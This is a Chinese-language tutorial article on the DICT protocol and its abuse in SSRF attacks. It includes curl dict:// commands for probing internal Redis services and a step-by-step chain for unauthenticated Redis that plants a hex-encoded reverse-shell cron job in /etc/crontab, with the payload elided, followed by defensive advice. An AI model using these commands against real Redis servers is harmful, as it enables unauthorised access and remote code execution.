当前位置: 首页 > article >正文

基础知识《DICT协议》

一、DICT协议基础

  1. 定义与用途
    DICT(词典网络协议)是一种基于TCP的应用层协议,设计用于通过客户端-服务器模式高效检索字典数据。其核心目标是提供比传统协议(如Webster protocol)更灵活的数据访问方式。默认使用2628端口,支持命令如DEFINE(查询单词定义)、SHOW DB(列出可用数据库)等。

    • 协议格式dict://serverip:port/命令:参数,请求末尾自动补上\r\n(CRLF,回车并换行),简化命令构造。
  2. 基本命令示例

    # 查询所有数据库中的单词定义
    DEFINE * hello\r\n
    # 列出服务器支持的数据库
    SHOW DB\r\n
    

    服务器响应以状态码开头(如150表示成功检索定义),后跟具体数据。

二、DICT协议在网络安全中的利用

  1. SSRF攻击场景
    当攻击者无法使用Gopher协议时,DICT协议常作为替代方案,用于探测内网服务和执行远程命令:

    • 端口探测
      curl dict://192.168.0.67:6379
      
      若返回类似-ERR的Redis错误信息,可确认目标为Redis服务并开放6379端口。
    • 指纹识别:通过响应内容判断服务类型(如MySQL、Redis)。
  2. Redis未授权攻击
    条件:Redis未设置密码认证。
    攻击步骤
    3. 写入恶意计划任务(需编码避免空格分割):

    # 十六进制编码反弹Shell命令
    curl dict://目标IP:6379/set:key:\"\x0a\x2a\x20...\x0a\"
    
    1. 修改Redis持久化路径
      curl dict://目标IP:6379/config:set:dir:/etc/
      curl dict://目标IP:6379/config:set:dbfilename:crontab
      
    2. 触发保存
      curl dict://目标IP:6379/bgsave
      
      Redis会将恶意命令写入/etc/crontab,实现定时任务反弹Shell。
  3. 局限性

  • 单命令限制:DICT每次仅支持单条命令,无法维持会话状态,需多次请求完成攻击链。
  • 依赖未授权访问:若Redis配置密码,DICT无法通过多次认证执行连续操作。

三、防御建议

  1. 服务加固

    • Redis配置:启用requirepass设置强密码,禁用高危命令(如FLUSHALLMODULE)。
    • 网络隔离:限制Redis端口(6379)仅对可信IP开放,避免暴露在公网。
  2. 输入过滤与监控

    • 协议黑名单:在Web应用中过滤dict://请求,防止SSRF漏洞利用。
    • 日志审计:监控异常DICT协议请求,尤其是对内网服务的探测行为。
  3. 编码防御
    对用户输入的特殊字符(如空格、换行符)进行转义或过滤,防止命令注入。


http://www.kler.cn/a/585737.html

相关文章:

  • 路由器配置命令
  • 完善机器人:让 DeepSeek 生成 API 接口,并在网页上调用
  • MySQL 的 innodb_buffer_pool_size 参数配置指南
  • [AI QA] strace | 探索 a.out
  • 正则表达式 - 修饰符
  • 书籍品读:我的世界(陈州)
  • C语言实现括号匹配检查及栈的应用详解
  • 【综述】An Introduction to Vision-Language Modeling【二】
  • 【linux驱动开发】创建proc文件系统中的目录和文件实现
  • Python 中 lambda 表达式、推导式和其他函数用法对比
  • QT中读取QSetting文件
  • Ubuntu 访问 Windows 共享文件夹
  • vue2升级Vue3--native、对inheritAttrs作用做以解释、声明的prop属性和未声明prop的属性
  • C语言内容
  • jupyter无法转换为PDF,HTMLnbconvert failed: Pandoc wasn‘t found.
  • 【sql靶场】第11、12关-post提交注入
  • 使用GitHub Actions实现Git推送自动部署到服务器
  • Python实现邮件发送功能,邮箱验证码发送(详细功能实现及环境搭建)
  • 【学习笔记】LLM技术基础
  • C++相关基础概念之入门讲解(上)